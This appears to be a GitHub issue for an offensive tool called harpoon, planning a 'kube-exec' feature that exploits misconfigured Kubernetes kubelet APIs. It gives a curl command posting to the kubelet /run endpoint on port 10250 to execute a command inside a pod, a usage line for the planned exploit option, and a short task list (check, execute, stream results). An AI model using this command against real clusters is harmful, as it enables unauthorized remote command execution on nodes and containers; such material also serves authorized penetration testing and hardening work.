Open corysabol opened 6 years ago
As it turns out we don't actually need to do the second step. We can just make a websockets request to the endpoint from the get go and have command execution.
Easier way:
curl --insecure -s https://127.0.0.1:10250/run/default/kublet-name-here/nginx/ -d "cm d=ls"
harpoon kube-exec -h https://<node-ip | node-domain> [-p 10250] [-e command]
If -e is given then if the preliminary checks pass, harpoon will try to exploit the mis-configuration. This attack only works if you can route to the node api. So, you either have to be on the same network, or it happens to be publicly routable.
Check (verify/come up with a better check)
Execute command
Stream results